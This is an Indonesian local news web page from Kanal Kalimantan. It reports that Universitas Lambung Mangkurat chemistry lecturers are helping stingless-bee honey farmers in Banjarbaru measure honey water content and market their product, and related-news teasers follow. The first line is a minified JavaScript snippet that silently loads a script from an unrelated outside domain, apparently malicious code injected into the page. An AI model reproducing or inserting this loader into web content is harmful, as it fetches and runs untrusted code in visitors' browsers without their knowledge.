(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Madu menjadi salah satu produk kesehatan yang terus diburu masyarakat. Hal ini terkait khasiat madu sebagai buster imun, terutama di tengah pandemi Covid-19.
Meski demikian, pengolahan dan penjualan madu tradisional saat ini dirasakan masih kurang dibanding produk pabrikan. Kondisi ini menjadi perhatian khusus tim Tim Pengabdi dari Program Studi (PS) Kimia, untuk membantu peternak madu kelulut (trigona sp) di Jakan PM Noor, RT 23 RW 06 No 12, Sungai Ulin, Banjarbaru, Kalimantan Selatan.
Tim yang terdiri dari dosen FMIPA Universitas Lambung Mangkurat (ULM,) yakni Maria Dewi Astuti S.Si, M.Si, Kholifatu Rosyidah S.Si, M.Si dan Rodiansono Ph.D ini melakukan pendampingan dengan melakukan pengukuran kadar air madu, penambahan log/stuf rumah madu, hingga pembuatan papan nama dan nomor induk berusaha (NIB).
“Berdasarkan hasil pengukuran bahwa kadar air madu trigona dari budidaya ini masih di bawah baku mutu SNI 8664: 2018 tentang madu. Yaitu kadar air madu tanpa sengat maksimal 27,5%,” kata Ketua Tim Pengabdian, Maria Dewi.
Baca juga: 8.082 Jiwa Terdampak Banjir di Hulu Kapuas, Ini Permintaan Ketua DPRD Kapus
Kadar air yang ada pada madu terjadi secara alami (bukan tambahan air dari luar), sehingga untuk lebih menjamin keasliannya maka peternak madu mempersilakan calon pembeli untuk memanen sendiri madu yang diinginkan dari sarang lebah secara langsung.
“Kami berkomitmen untuk membantu peternak madu kelulut agar hasil madu bisa ditingkatkan standarnya serta semakin besar pula produk yang dihasilkan,” tegas Maria Dewi.
Ia mengatakan, sebagai salah satu strategi pemasaran serta untuk menjamin keaslian produk madu dari tempat budidaya Madu Kelulut Cita Rasa (CTR), mitra P2M juga mempersilahkan pembeli datang langsung untuk memanen sendiri.
Baca juga: Menteri Sofyan Djalil Akui Ada Oknum BPN Jadi Mafia Tanah
“Ini juga bisa menjadi spot wisata tersendiri, bagi masyarakat untuk untuk memanen sendiri madu secara langsung dari sarang serta mengonsumsinya. Hal tersebut sesuai tagline yang dicantumkan yakni bisa panen dan sedot sendiri,” jelas Maria.
Sementara itu, terkait penjualan dan promosi, tim Pengabdi FMIPA ULM juga membantu sarana penjualan melalui media sosial instagram dengan akun: panenmadu.ctr atau Budi daya madu “Cita Rasa”. Pun bisa menghubungi secara langsung ke nomor WA: 0878 4664 7254 atas nama Bapak Sucipto.
Di sisi lain, warga sekitar berharap dengan bantuan tim pengabdi FMIPA tersebut bisa semakin meningkatka produktivitas peternak madu kelulut, termasuk memperluas aspek pemasaran.
“Apalagi jika ke depan tempat budi daya madu ini menjadi salah satu spot wisata di Banjarbaru,” harap Tra, warga di Sungai Ulin. (kanalkalimantan.com/kk)
Reporter: kk
Editor: cell
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.